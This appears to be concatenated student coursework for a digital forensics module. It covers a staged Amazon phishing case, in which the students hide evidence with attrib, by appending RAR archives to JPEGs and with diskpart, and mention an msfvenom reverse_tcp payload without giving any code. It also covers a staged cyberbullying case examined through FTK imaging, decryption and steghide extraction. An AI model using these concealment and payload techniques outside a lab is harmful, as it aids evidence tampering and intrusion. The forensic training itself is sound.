Command to Hide the files: 
The same hiding process is executed on the files stored in the E drive
> attrib +h +r +s Password-file.txt
> attrib +h +r +s jobroles.rar
> attrib +h +r +s textcrypt.py

Image Hiding: 
All of the other evidences are hidden in the image files using the following hiding strategy, which saves time from deciphering Steganography images. The binwalk stenography tool on the Kali Linux system makes it simple to extract.
# rar a xyz.rar Evidence A, Evidence C, Evidence E
# cat xyz.rar > Photo.jpg
# rar a a.rar Evidence B, Encry-Private-key
# cat a.rar > IMG_001.jpg
#rar a b.rar Evidence B, Evidence D
#cat b.rar > IMG_002.jpg
Hard Drive Partition: 
The same E and F drives created during the initial hard drive evidence creation process are maintained, so the evidences can be placed in both the drives. The evidences are placed in both the folder. Further, the evidences in the image file format is stored on the F drive which is also hidden using the below given steps
> diskpart
> list volume
> select volume F
> remove letter F

3.10 Exchange of Hard Drive:
To perform this action, the Chain of custody is filled in the hard drive details and is processed by collecting the hard drive back from Team A.

[image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\Financial Crime - Received2.jpeg]


3.11 Location of Evidences with Timestamp:
	
	
Evidence Created
	
Location of Evidences
	
Timestamp

	A
	Phishing Email
	F: Drive – Photo.jpg
	23/11/2023 11:25PM

	B
	Screencapture Screenshots
	F: Drive – IMG_001.jpg
	23/11/2023 11:44:50PM

	C
	Victim Order Confirmation
	F: Drive – Photo.jpg
	23/11/2023 11:45PM

	D
	RDP Session Verification
	F: Drive – IMG_002.jpg
	23/11/2023 11:54:27PM

	E
	Attacker Order Confirmation
	F:Drive – Photo.jpg
	23/11/2023 11:57PM


Table 3.2 Location of Evidences with Timestamp

Suhsai 1TB Hard Drive is utilitzed in the Evidence Creation process.
[image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\IMG_6399_v.jpeg]
Figure: 3.2 Suhsai Hard Drive

3.12 Conclusion: 
Amazon Account is locked now. The created amazon user account is a fake account specifically created to test this Financial Crime task. To unlock the amazon account, we have to submit the credit card details with the same amazon account username as in the credit card which is not possible. This proves the protection mechanism for Amazon customer account are in place.





3.13 Exchange of Hard Drive:

Again, Chain of custody form filled in with hard drive details, is processed and the hard drive is handed over to Team A.

[image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\Financial Crime - Delivered2.jpeg]



3.14 Challenges Faced:
3.14.1 Evidence Creation Team Report: The prepared team report is sent to all the teammates using the University email address on December 28, 2023 but is not added to the team discussion page on UWTSD. I am not able to confirm from my teammate that it is added to Student Shared folder.
3.14.2 Imaging Issues: The assignment states that the evidence must be created in the following formats: PDFs, Docs, Images, Videos, and Text Messages. The evidence materials are in fact files in PDF, TXT with a private key, and photos that are uploaded to Moodle with the team report. Added digital forensic imaging process to conceal the evidence in it, as the evidences aren't many. However, the user profile "ksakthii" is not formed on the Windows image in the imaging process, because of this, the evidence in the document folder is missing. Reached a compromise with Team A and agreed to omit the imaging procedure.
3.14.3 SEToolkit Issues: First, the entire team decided on a theme in financial crime. During team's discussion, a teammate faced challenges contributing valid inputs, leading to a shift in focus towards malware analysis. In response, I took the initiative to guide the team on seamlessly integrating a malware attack into the financial crime scenario. However, the task is currently in a pending execution phase. After speaking with Nitheesh, I dedicated two days to collaboratively address execution issues. Unfortunately, our efforts fell short of establishing a stable Meterpreter session, a critical prerequisite for executing the financial crime steps. Emphasizing the complexity involved, I personally communicated that without addressing these challenges, crafting a comprehensive team report by the impending deadline would be unattainable. In a collective decision to ensure timely completion, the team opted to utilize msfvenom for creating a reverse_tcp payload.

.
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1. [bookmark: _uefac2tamye9]Introduction
Cyberbullying has emerged as a significant public health issue, especially among adolescents. This document aims to examine a specific case of cyberbullying. This project was assigned to us (Group C) by Group B.
                             Team Members:
Pranjal Sinha (Student ID: 2220277)
Arya Martin (Student ID: 2220294)
Bala Jaya Chandra Pichikala (Student ID: 2219819)
Sneha Sindhe (Student ID: 2304464)
Sakthi Sangeetha Kandaswamy (Student ID: 2236179)
Mehulgiri Ashvingiri Goswami (Student ID: 2214858)
2. Chain of Custody
Two chains of custody files are attached to this document, namely 'Team C - Task 3 - Receiver.docx' and 'Team C - Task 3 - Sender.docx'.
3. Team Discussions
Two Team Discussions/Meeting Notes are attached to this document, namely 'Meeting Notes - 1.docx' and 'Team Discussions/Meeting Notes.docs'.
4. [bookmark: _m5hoiufnsmkc]Case Study Overview
We encountered a case of cyberbullying during our investigation into the Social Media Investigation. This case study is based on information gathered from three primary sources: a police report, social media chats, and call logs.
4.1. [bookmark: _c0ty8p3y614h]Police Report Insights
According to the police report, Lucy Alden filed a complaint on behalf of Emmy James, identified as the victim, and Justine Elias is identified as the suspect.

4.2. [bookmark: _swqjsqlscxuk]Social Media Analysis
The analysis of social media conversations unveils a total of seven interactions spread across Instagram, Facebook, and WhatsApp. Users involved include Seer Musta (on Instagram and WhatsApp), Lee Saint (on Facebook), Fred William (on Facebook), Justine Elias (on Facebook and WhatsApp), and Zhen (on WhatsApp). A significant pattern observed was the frequent exchange of messages between Seer Musta and Justine Elias.

During these exchanges, Justine Elias initiated conversations, demonstrating a persistent interest despite clear indications of disinterest from the other party. The other individual consistently declined further communication, yet Justine continued to push for a conversation, asserting that the other party would regret not engaging. The recipient stood firm against any romantic propositions and identified these relentless messages as harassment, even warning, "This is harassment. If you don't stop, I'll have to report you." In response, Justine downplayed these concerns, expressing a strong affection, but eventually faced being blocked by the recipient, who made it clear that there was no mutual relationship.

4.3. [bookmark: _vrre6ga44unv]Call Logs Review
The call logs reveal that Alfred Adam persistently called a specific number at various times, prompting concerns of cyberbullying. Lottie Piers is mentioned as a contact person in this context. Collectively, these pieces of information provide a comprehensive overview of multiple incidents involving different individuals across various communication platforms.
5. Initial Examination and Assessment
5.1. [bookmark: _28g0kts9nihk]Overview of the Hard Drive
The Maxone 500GB hard drive we examined seemed to be empty initially, with no visible files or folders. It was detected as a single partition, labeled E:, and utilized the ExFAT (Extended File Allocation Table) file system. ExFAT, developed by Microsoft, is optimized for flash drives and external storage devices, allowing for larger partition sizes compared to the older FAT32 system.
[bookmark: _p6x777a0k3w9]
5.2. [bookmark: _2lj367omvo8u]Partitions
To ascertain the number of partitions on the hard drive, we executed the following commands:

C:\>diskpart
C:\>list volume

This process enabled us to view the volumes present on the hard drive, offering a clear view of its partitioning structure.

There were no disk partitions found.

5.3. [bookmark: _j21bey5eacnd]Revealing Hidden Files and Folders
In order to uncover any hidden contents on the hard drive, we employed a specific command on a Windows 11 machine. The command executed was:

C:\> attrib -h -r -s /s /d E:\*.*
[bookmark: _yshh85wvkqzr]
Executing this command in the Command Prompt revealed the hidden files and folders within the E:\ drive. Following this, the contents of the folder were successfully listed.

5.4. [bookmark: _wn9anhhcrkzn]Content of the Hard Drive
5.4.1. [bookmark: _fmomsyt3p84z]VolumeConfiguration.plist

5.4.2. [bookmark: _dcj8vxj100i6]SOCIAL MEDIA INVESTIGATION Folder
5.4.2.1. Chats
30 screenshots of social media chats in .JPG and .PNG formats.

5.4.2.2. Call Logs
2 screenshots of call logs in .PNG format.

5.4.2.3. Readme.txt

5.4.2.4. Document.rar
Later revealed e_PoliceReport-CS-01 and e_PoliceReport-CS-02

5.4.2.5. Files with .File extension
e_IMG_0010
e_IMG_0013

5.4.2.6. encrypt_file002.cpp

5.4.2.7. IMG_0010.jpeg, IMG20231123140.jpg

6. Storage and Backup
In our digital forensic project, we utilized FTK Imager to create an image of a hard disk, which was our primary evidence. Here's a brief overview of the process:

6.1. [bookmark: _y7p2j51091oj]Initiating FTK Imager
We started by launching the FTK Imager application, known for its efficacy in handling digital evidence.

6.2. [bookmark: _qo46i2xn6lnf]Creating a New Case
We created a new case in the FTK Imager, filling in essential details like the case and evidence numbers, along with a unique description.

6.3. [bookmark: _i4j47mu9tw9a]Selecting the Evidence
We selected the hard disk that contained the evidence. In FTK Imager, this involved navigating to the 'Add Evidence Item' option and choosing 'Physical Drive' as our evidence type.

6.4. [bookmark: _v3k2cl1x4ja9]Imaging Process
After selecting the hard disk, we proceeded to the 'Create Image' option. We chose an appropriate image format, E01, and specified the destination where the image file would be stored.

6.5. [bookmark: _8v1ug5hq137]Executing the Imaging
We started the imaging process, ensuring we didn't alter the original evidence. This step required patience as the imaging process can take a significant amount of time depending on the size of the hard disk.

6.6. [bookmark: _ljvmljq164op]Verification
Post-imaging, we verified the image's integrity by checking the hash values. This step was crucial to ensure that the image was an exact replica of the original hard disk, maintaining the evidence's integrity.

6.7. [bookmark: _2s0vjrljbrvq]Documentation and Storage
Finally, we documented each step of the process and stored both the original hard disk and the image in secure locations.
7. [bookmark: _5beqmwgdchgg]Analysis and Examination
In the course of our digital forensics investigation, we conducted a thorough analysis and examination of the contents within the "SOCIAL MEDIA INVESTIGATION" folder, which is central to our case. Below is a detailed summary of the file structures and the steps taken in our examination:

7.1. [bookmark: _sbaucijjgg72]SOCIAL MEDIA INVESTIGATION Folder
This folder is pivotal, containing the core evidence relevant to the scenario.

7.2. [bookmark: _fcv5ladrr4ox].fseventsd and fseventsd-uuid
The fseventsd-uuid is a Universally Unique Identifier (UUID) associated with the File System Events service (fseventsd) on macOS. Each volume or file system monitored by the File System Events framework is assigned a unique identifier, often stored in a file named fseventsd-uuid. This UUID distinguishes different volumes or file systems, aiding the system in tracking file system events for specific locations.
These UUIDs are internally utilized by macOS to maintain consistency and accuracy in tracking changes to the file system. For the given evidence, the UUID is 03D75DA8-C299-4E1C-82DA-2826D572EED9.

7.3. [bookmark: _3wwegha93pdk]VolumeConfiguration.plist
The volume is formatted as ExFAT, connected via USB, and categorized as an external, local volume. It is associated with the UUID ABD1A7E0-6844-392D-A93A-A133958872F8. The configuration details include creation and modification dates, version information (Version 13.6.1, Build 22G313), and writeback status (not enabled). Creation and update flags, index version, and partial path details are provided. The applied policy, dated "2023-11-25T20:57:33Z," grants read and write access for search with a matching version to the configuration.

The full-length VolumeConfiguration.plist description can be found in the Google Sheet.

	Key
	Value
	Description

	fstype.exfat
	1
	Indicating that the file system type is ExFAT

	has.uuid
	1
	Suggesting that aUUID is associated with the volume

	interconnect.usb
	1
	Indicating that the volume is connected via USB

	is.external
	1
	Indicating that the volume is external

	is.local
	1
	Suggesting that the volume is a local volume

	policy.location.volume
	1
	Suggesting that the policy includes information related to the volume location

	uuid.abd1a7e0-6844-392d-a93a-a133958872f8
	1
	Suggesting that this UUID is associated with the volume


[bookmark: _f33ms9llrzcw]Table 1: VolumeConfiguration.plist

7.4. [bookmark: _1lq5zwdyuh2u]Readme.txt
The contents of the readme.txt file, as provided, contained password information for the files. It appears to list two separate passwords:
7.4.1. kali
7.4.2. Qk;87R]_w3dmBGcb[#TX=4

These passwords seem to be designed for use in decrypting or accessing protected files within the investigation. The use of distinct passwords suggests that they could be for different files or different levels of encryption. The complexity and uniqueness of the second password indicate a high level of security concern for the content it protects.

7.5. [bookmark: _om1hxax9p35o]Document.rar
We extracted the content of the Document.rar file using the PowerISO tool with the second password provided in the Readme.txt file. Inside the specified folder, we found two files: e_PoliceReport-CS-01 and e_PoliceReport-CS-02. Both files are of the type .File. The steps we followed are listed below:

7.5.1. [bookmark: _i8hdz115k2ue]Open PowerISO
Start by opening the PowerISO application on your computer. PowerISO is a powerful tool that can handle various image file formats, including ISO, BIN, and RAR.

7.5.2. Navigate to Document.rar
Use the 'Open' button in PowerISO to navigate to the location where the Document.rar file is stored on your computer.
[bookmark: _ny3m6f36ui7o]

7.5.3. [bookmark: _7o1mst24vv3k]Open Document.rar
Once you've found Document.rar, select it and then click 'Open' to view its contents within PowerISO.

7.5.4. [bookmark: _axz6tyc9qejd]Enter Password
A prompt will appear asking for a password to unlock the contents of the RAR file. Enter the password provided in the readme.txt file. The password we used was: "Qk;87R]_w3dmBGcb[#TX=4".

[image: ]
[bookmark: _bf63qciykebo]Figure 1: Power ISO

7.5.5. [bookmark: _cy41k25616t]Extract Files
The entered password was correct, granting us access to the contents of Document.rar. We located the 'Extract' button on the PowerISO toolbar and clicked it to extract the files contained within the RAR archive.

7.5.6. [bookmark: _gu22xge0gsur]Choose Extraction Location
A new window will pop up asking where you would like to extract the files. Choose a convenient location on your computer where you want to save the extracted files.

7.5.7. [bookmark: _18gmd0nt4jbc]Confirm Extraction
After selecting the destination folder, click 'OK' or 'Extract' to start the extraction process. PowerISO will then decompress the files from Document.rar to the specified location.

7.5.8. [bookmark: _osgboxkqo3ny]Access Extracted Files
Once the extraction process is complete, navigate to the destination folder you selected. Inside this folder, you should find the two files, e_PoliceReport-CS-01 and e_PoliceReport-CS-02, extracted from the RAR file.

7.6. [bookmark: _14lzprug2zwo]Files with file extension
For files with the '.File' extension, we suspected all of them to be encrypted files.

e_IMG_0010
e_IMG_0013
e_PoliceReport-CS-01
e_PoliceReport-CS-02

7.7. [bookmark: _u6rl7ulwfzod]encrypt_file002.cpp
This C++ program appears to be designed for file encryption and decryption using a simple substitution cipher method. The program is a command-line tool for encrypting or decrypting files on a per-character basis using predefined substitution tables.

7.8. [bookmark: _9qf1lokm4fgv]Decryption using the C++ Source File
Utilizing the C++ source file named encrypt_file002.cpp, our team embarked on the intricate task of decrypting a series of files that were previously suspected to be encrypted due to their '.File' extension. These files were critical to our investigation and were enumerated as follows:
e_IMG_0010
e_IMG_0013
e_PoliceReport-CS-01
e_PoliceReport-CS-02

7.8.1. The initial step involved navigating to the directory housing the .cpp file, which was stored under the path F:\Copy of F Drive\Digital Forensics\SOCIAL MEDIA INVESTIGATION> on our forensic analysis workstation.

7.8.2. Following this, we proceeded to open the Command Prompt window, a pivotal tool for executing various commands in the Windows environment. In the Command Prompt, we performed the compilation of the C++ code by entering the command:

g++ -o encryption_tool .\encrypt_file002.cpp

7.8.3. This command initiated the g++ compiler to process the source code and subsequently generated an executable file, which was aptly named encryption_tool.exe. This executable would serve as our decryption tool.

7.8.4. To commence the decryption, we utilized encryption_tool.exe with a command structured as follows:

./encryption_tool [encrypted_input] [decrypted_output.abc] decrypt

7.8.5. This command line instruction facilitated the decryption of the content from encrypted_input and produced the output in a file named decrypted_output.abc. In our specific case, encrypted_input corresponded to each of the encrypted files, such as e_IMG_0010, e_IMG_0013, e_PoliceReport-CS-01, and e_PoliceReport-CS-02. The decrypted_output.abc represented the resulting files, which were prefixed with 'decrypted_' to distinguish them from their encrypted counterparts. At this juncture, the actual file extension .abc remained unidentified.

7.8.6. In an effort to ascertain the proper file extensions, our team executed a Python script designed to probe and match the decrypted file contents against a comprehensive list of known file extensions. This programmatic approach revealed that the appropriate extensions for the decrypted files were indeed .jpg and .jpeg.

7.8.7. Armed with this new information, we carried out a series of commands to decrypt each file individually:

./encryption_tool e_IMG_0013 decrypted_IMG_0013.jpg decrypt
./encryption_tool e_PoliceReport-CS-01 decrypted_PoliceReport-CS-01.jpeg decrypt
./encryption_tool e_PoliceReport-CS-02 decrypted_PoliceReport-CS-02.jpeg decrypt
./encryption_tool e_IMG_0010 decrypted_IMG_0010.jpg decrypt

7.8.8. Each command was met with success, yielding newly accessible image files:
decrypted_IMG_0010.jpg
decrypted_IMG_0013.jpg
decrypted_PoliceReport-CS-01.jpeg
decrypted_PoliceReport-CS-02.jpeg

7.8.9. [bookmark: _a3za9mi27za8]Decrypted Files’ Analysis
The decrypted files, namely decrypted_IMG_0010.jpg and decrypted_IMG_0013.jpg, appear to be screenshots of a street which may be of significance to the investigation. Such images could provide visual clues or corroborate other pieces of evidence regarding the location pertinent to the case.

The other two files, decrypted_PoliceReport-CS-01.jpeg and decrypted_PoliceReport-CS-02.jpeg, are the actual copies of police reports.

From the police reports, we confirmed that a cyberbullying incident reported by Lucy Alden involves suspect Justine Elias, using Twitter and Instagram to harass Emily James on April 20, 2021. Despite Emily blocking Elias, the harassment continued through new accounts. Law enforcement action led to Elias's apprehension, a guilty plea, a restraining order, and a £2,000 fine. Evidence and witness details are documented, with ISP Danzel Alfred as the investigating officer.

7.9. [bookmark: _ecc5n1ugh268]Steganography
Images: e_IMG_0010, e_IMG_0013, IMG_0010.jpeg, IMG20231123140.jpg
Decrypted Images: decrypted_IMG_0010.jpg, decrypted_IMG_0013.jpg

In our ongoing digital forensics investigation, we encountered a set of images that raised the suspicion of containing hidden data, a technique known as steganography. The specific images in question were labeled e_IMG_0010, e_IMG_0013, IMG_0010.jpeg, and IMG20231123140.jpg. Our hypothesis was that these images could be carriers of covert data, potentially holding encrypted messages or files not visible to the naked eye.

To explore this possibility, we turned to the Steghide tool, an open-source steganography tool, a robust utility in the realm of steganography. Steghide is renowned for its ability to conceal data within various file formats such as JPEG, BMP, WAV, and AU, without altering the file in a perceptible way. This kind of data embedding is particularly challenging to detect without the proper tools and expertise, as it typically leaves the cover file's appearance unchanged.

Employing the command-line interface of Steghide, we used the following command structure to attempt data extraction: 

steghide extract -sf <stego_file> -p <passphrase>

The <stego_file> placeholder represents the image file we suspected to be a steganography carrier, and the <passphrase> placeholder is where we used the password gleaned from the Readme.txt file. According to the documentation provided within the Readme.txt, the password 'kali' was to be utilized in this context.

Upon executing the command with the image IMG_0010.jpeg as the steganography file and 'kali' as the passphrase, we retrieved a file named encrypt_file002.cpp.

 steghide extract -sf IMG_0010.jpeg -p kali

This was a pivotal discovery, as it suggested the presence of hidden layers within the digital evidence. However, upon closer examination, we determined that the encrypt_file002.cpp file extracted from IMG_0010.jpeg was an exact replica of the encrypt_file002.cpp file we had uncovered during the initial phases of evidence analysis.

This redundancy might imply several scenarios: the possibility of a deliberate attempt to ensure redundancy of crucial data, or it could be a standard procedure for the suspect to embed the same file across multiple images. Another important observation was that IMG_0010.jpeg itself surfaced as a result of revealing hidden data from the hard drive. This fact, coupled with the subsequent decryption of e_IMG_0010 to produce decrypted_IMG_0010.jpg, raised further questions. The two files, IMG_0010.jpeg and decrypted_IMG_0010.jpg, were found to be identical in content, differing only in their file extensions. This duplication suggests that the same content was subjected to both steganographic concealment and encryption.

7.9.1. [bookmark: _mrn5tk3m85lx]Challenges in Steganography Image Processing
In the forensic analysis of the suspected steganography images, specifically decrypted_IMG_0010.jpg and decrypted_IMG_0013.jpg, we opted for a Python-based approach that leveraged the advantages of multi-processing. The rationale behind this decision was the substantial time savings it could offer. Single-threaded execution in Python is notorious for its sluggish performance with CPU-bound tasks, which was evident when the program without multi-processing not only took an excessively long time to execute but also became unresponsive after a while.

During the execution of our multi-processing Python script, we faced challenges related to image truncation. This issue often occurs when the processing is interrupted or when the image data is not read correctly, potentially due to the multi-threaded environment accessing shared resources or due to incomplete data being processed by the individual threads.

To address the encrypted files, we constructed a decryption program in C++. This program was designed to work in tandem with the encryption tool initially found on the hard drive, presumably used to obfuscate the files. Despite our decryption attempts with this custom C++ program, we were unable to enhance the resolution of the decrypted images, which implies that the loss of image quality might not be related to the decryption process itself but rather to the original encryption or the steganography process.

Moreover, when applying our Python script to another steganography image, IMG20231123140.jpg, we encountered execution failures. This particular image was found to be concealing a file encrypted with the Blowfish algorithm—a cipher known for its speed and effectiveness—as well as a TIFF image file. The Python program's inability to process this image could stem from several factors, including the complexity of the Blowfish algorithm, the intricacies of handling TIFF files, which can vary considerably in their structure, or limitations within the Python script in accommodating such a compound steganography use case.

7.10. [bookmark: _v4ffy6dvhg2o]Chats
30 screenshots of social media chats in .JPG and .PNG formats. All conversations have been recorded in the Google Sheet - Task 3 & 4.xlsx.

7.10.1. Seer Musta (Instagram and WhatsApp)
Instagram Interaction
Images: IMG_0101.jpg, IMG_0102.jpg, IMG_0103.jpg, IMG_0104.PNG, IMG_0105.PNG, IMG_0106.PNG

The conversation begins with Seer Musta offering compliments on Twitter posts and evolves into a discussion about shared interests and personal preferences. It takes an unexpected turn when the other person shares a link for a supposed fashion and design class, requesting an email address. Despite initial hesitation, the individual agrees to check out the link. The conversation concludes with a polite rejection of a date invitation.

WhatsApp Reconnection
Images: Screenshot_20231124-145712_WhatsApp.jpg

The conversation starts with Seer Musta initiating a friendly exchange between individuals who know each other from Facebook. They discuss their day, reminisce about high school, and express curiosity about each other's lives. Seer Musta asks about the individual's family, mentioning a brother, and inquires if they spend time together. The tone remains casual and friendly throughout the conversation.

7.10.2. Lee Saint (Facebook)
Images: IMG_0107.jpg, IMG_0108.PNG, IMG_0109.PNG

The conversation begins when Lee Saint extends a polite invitation for coffee, but the recipient (Emmy) declines politely. Lee persistently insists, implying a challenge in response to rejection. The situation escalates to threats and intimidation, including hacking into social media accounts and posting explicit content. The recipient stands firm, refusing to give in to the threats and indicating an intent to report the harassment. The harasser continues with a final threat, blaming the recipient for the consequences.

7.10.3. Fred William (Facebook)
Images: IMG_0110.PNG, IMG_0111.PNG, IMG_0112.PNG, IMG_0113.PNG, IMG_0114.PNG

The conversation begins with Fred William messaging Emmy James in a friendly exchange about shared hobbies, particularly a love for pets. They discuss pet names and potential future pets. The conversation touches on favourite colours, birthdates, hangout spots, and high schools. The exchange becomes more personal with questions about favourite subjects, usernames, and the possibility of connecting on social media. There's a request for an email to share articles, and the conversation ends with an exchange of Twitter handles. Fred then asks for a phone number, and there's a brief correction regarding a Twitter handle mix-up. The conversation concludes with an expression of looking forward to future chats.

7.10.4. Justine Elias (WhatsApp and Facebook)
WhatsApp Conversation:
Images: Screenshot_20231124-133925_WhatsApp.jpg, Screenshot_20231124-133938_WhatsApp.jpg, Screenshot_20231124-134017_WhatsApp.jpg, Screenshot_20231124-134028_WhatsApp.jpg

The conversation begins with Justine Elias expressing interest in the recipient, who consistently communicates that they are not interested in pursuing a romantic relationship. Justine persists with invitations, attempting to convince the recipient to give them a chance. The recipient remains firm in their decision and emphasises the importance of respecting boundaries. Justine continues to insist, but the recipient stands their ground, stating they are happy without a relationship and asking for respect. The conversation ends with a warning from Justine that the recipient will regret turning them down, but the recipient remains resolute in their decision.

Facebook Conversation: Persistent Pursuit Despite Rejection
Images: IMG_0115.PNG, IMG_0116.PNG, IMG_0117.PNG

The conversation starts with Justine Elias expressing ongoing interest despite the recipient's clear lack of interest. The recipient consistently rejects any further interaction, but Justine persists, insisting on a chat and predicting regret for the recipient. The recipient firmly rejects any romantic involvement and labels the continued messages as harassment. Justine dismisses the recipient's concerns, claiming a strong liking but is ultimately blocked by the recipient, who emphasizes the absence of any relationship between them. 

7.10.5. Zhen (WhatsApp)
Images: IMG_0118.PNG, IMG_0119.PNG, IMG_0120.PNG, IMG_0121.PNG, IMG_0122.PNG, IMG_0123.PNG, IMG_0124.PNG, IMG_0125.PNG
The conversation begins with Zhen offering a friendly introduction, expressing interest in the recipient's profile. They discuss shared interests, and Zhen subtly suggests the idea of going to a coffee place together. The conversation turns more personal, with questions about the recipient's relationship status, preferences, and favorite spots. The recipient expresses a desire to take things slow, and Zhen respects that but continues to express interest in getting to know them. The conversation ends with a polite farewell, but Zhen makes a somewhat intrusive comment about ensuring the recipient got home safely, leading to a cautious response from the recipient.

7.11. [bookmark: _p2euj41xug2l]Call Logs
Images: call center log.png, Call logg.png 
User Name: Alfred Adam, Contact Person: Lottie Piers

In the analysis of the call logs, particularly from the images titled 'call center log.png' and 'Call logg.png', we observed notable patterns in the phone call activity of a user named Alfred Adam, with Lottie Piers mentioned as the contact person. The 'call center log.png' image specifically included a concerning note: “User called a particular number repeatedly, using this number at different times. Details of the conversation sounded like cyberbullying.”
Key observations from this analysis include:
7.11.1. [bookmark: _h0f46bam2bln]Repeated Calls to a Specific Number
Alfred Adam consistently called the same number multiple times. This behavior is indicative of potential harassment, especially in the context of the provided note.

7.11.2. [bookmark: _t2hr5zykt1ly]Irregular Timing of Calls
The calls were made at varying times, which could be a tactic to unsettle or intimidate the recipient, a common characteristic in cases of harassment or cyberbullying.

7.11.3. [bookmark: _brw4f0p6wgt6]Nature of Conversations
The note in the 'call center log.png' explicitly mentions that the details of these conversations resembled cyberbullying. While the exact content of the conversations is not disclosed in the call logs, this description suggests the use of threatening, abusive, or intimidating language.

7.12. [bookmark: _7qg5ahy0q6pf]Police Report Insights
In the comprehensive police report filed by Lucy Alden, dated 19th May 1996, residing at 20 Astra Street, Liverpool, UK, a serious case of cyberbullying is detailed. The incident, which occurred on the 20th of April, 2021 at 10:32 pm UK time, involved the use of platforms such as Twitter and Instagram. This case of cyberbullying was characterized by threats and harassment, where the suspect, Justine Elias (also known by the alias Egos_dark), residing at 69 Lone Street, Wine Street, Liverpool, UK, engaged in illicit activities online. These activities escalated into a targeted campaign of harassment against Emily James and her family.

The report includes evidence in the form of screenshots of offensive messages and social media posts, and a URL link [https://shorturl.at/anF89] has been provided to access all related evidence files. Additionally, witness information from Jessy Orio of Graceland Avenue, Liverpool, is documented.

Emily James had attempted to resolve the issue by cutting off communication, blocking the suspect on all social media platforms. However, the harassment persisted as the suspect continued stalking her by creating new fake accounts. In response to the complaint, law enforcement took decisive action. The security team apprehended the suspect, and following an investigation into the suspect's online activities, Justine Elias pleaded to the case. The resolution involved the suspect being issued a restraining order and paying a fine of £2,000. The investigating officer in charge of this case was ISP Danzel Alfred.

The complete police report can be found in the Google Sheet - Task 3 & 4.xlsx
[bookmark: _31pdajx6illn]Annexure
ALl of these files can be found in the OneDrive Folder.

1. [bookmark: _lnun9l9z47zw]Chain of Custody
1.1. Team C - Task 3 - Receiver.docx
1.2. Team C - Task 3 - Sender.docx
1.3. Team C - Task 4.docx

2. [bookmark: _n6mnked4l65m]Minutes of Meeting
2.1. Meeting Notes - 1.docx
2.2. Team Discussions/Meeting Notes.docs

3. [bookmark: _1s7cn7og21ct]Video Presentation
3.1. Group C - Task 3 - Video Presentation.mp4

4. [bookmark: _9o3co6bklrs6]Data Collection Report.pdf

5. [bookmark: _kyvr99ez58z3]Team Reports
5.1. Group C - Task 3 - ACCA7031 - Digital Forensics Analysis.docx
5.2. Group C - Task 4 - ACCA7031 - Mobile Digital Forensics Analysis.docx

6. [bookmark: _70v5obwforo5]Google Sheet
6.1. Google Sheet - Task 3 & 4.xlsx
Module: Digital Forensics
Course Work: Task 3
Team C: Evidence Collection Individual Report (Hard Drive)

4.1 Scenario:  Cyberbullying Crime
Cyberbullying is happening, according to the evidence analysis from Facebook, Instagram, and WhatsApp conversations as well as the police complaint. The victim, Emmy Adams, is active on social media and has been the target of bullying on several occasions. By closely observing her talks, she is able to determine who the possible offender is. We will uncover these details during the investigation process, once we gather the evidences to analyze further.
4.2 My Tasks List: 
Knowing the specifics of the evidence and its contents, helps the investigator lead the process. Despite some early difficulties, I am able to accomplish the tasks listed below, after reviewing all the evidences.
1. Finding Hidden Files and Partition Details 
2. FTK Imaging process
3. Decryption Program in C++
4. Parallel Processing Program in Python
5. Extracted Steganography Images, Encrypted Files
6. Instagram, Facebook, WhatsApp Conversation Analysis
7. Call Log Reporting Analysis
8. Task Distribution 
9. Chain of Custody form
10. Conducted Team Discussions to analyze the Crime, helped to create the Team Reports 
     and Presentation Slides
4.3 Identifying the Evidence:
The shown Flash Drive is Maxone 500GB External Hard Drive with insulated cover.

 [image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\IMG_6239.jpeg]
Figure: 4.1 Maxone Hard Drive

4.4 Preserving the Evidence:

4.4.1 Chain of Custody
Chain of custody form filled in with hard drive details, is processed and the hard drive is collected from Team B.

[image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\Social Engineering - Received.jpeg]
4.4.2 Hidden Files and Folders:
With 45MB of data, the 500GB hard drive that Team B has given us shows empty. However, the hard drive's unused capacity is 465GB. Without getting the confirmation from Team B and unsure of the size of the evidence material, used the below command to find any hidden files and folders and to confirm that the size of data is indeed 45MB. 
C:\> attrib –h –r –s /s /d E:\*.*
4.4.3 Hard Drive Partition: 
There is only one partition, E: drive with ExFAT File System. Microsoft first launched the Extended File Allocation Table, or exFAT, in 2006.  Lightweight and suited for flash devices, exFAT is a file system that requires less maintenance on hardware resources. It provides support for huge file systems that are significantly larger than FAT32's 4GB limit. It is designed to be utilized with flash memory, such as SD cards and USB flash drives, among others. [5]
Executing this command which is non-intrusive, will reveal the entire partition level and the other hard drive contents.
> diskpart
> list volume
4.4.4 Imaging Process:
FTK Imager is utilized to image the hard drive. ‘Physical Drive’ option is chosen to select the external hard drive under ‘Add Evidence Item’. Entire Image of the drive is stored to a folder in local drive and is processed in raw ‘dd’ image format. The created image is shared with the team members. The entire team is explained with the difficulties and agreed that the hidden files and folders are verified before the imaging process.
4.4.5 List of Hard Drive Contents:
[bookmark: _GoBack]There are four folders in the hard drive after the hidden files and folders are discovered. Hidden folders are also listed. The hard drive contents are,
	FOLDER NAME
	FOLDER CONTENTS

	.fseventsd
	Fseventsd-uuid

	.Splotlight-V100
	Spotlight Store, VolumeConfiguration.plist

	System Volume Information
	WPSettings.dat, IndexerVolumeGuid

	Social Media Investigation
	Evidence files pertaining to Cyberbullying Crime


Table: 4.1 List of Hard Drive Contents

Flash drives from MAC OSX create two hidden folders - .fseventsd and .Spotlight-V100. 
Log files of the file system events on the external drive are located in the .fseventsd folder. The operating system may utilize this data to keep track of modifications made to files and directories on the disk. Additionally, a file called fseventsd-uuid is contained within, holding the volume's unique identifier (03D75DA8-C299-4E1C-82DA-2826D572EED9).
The directory Spotlight-V100 is located at the root of the volume containing the Spotlight store. The volume has been indexed if it is present. All of the local Spotlight stores' locations are listed in VolumeConfiguration.plist which has the unique identifier as (ABD1A7E0-6844-392D-A93A-A133958872F8). Spotlight's index is located in this folder. To help the Finder discover the files more quickly, it is essentially a list of every file on the drive.
The System Volume Information folder can be accessed when the exFAT or FAT32 file systems can be used to format the drive. WPSettings.dat and IndexerVolumeGuid are the two files that are in the folder. A unique identifier for the drive is assigned using the IndexerVolumeGuid file. After then, the files on the drive are analyzed and indexed by the Windows Indexing Service to speed up access to them.
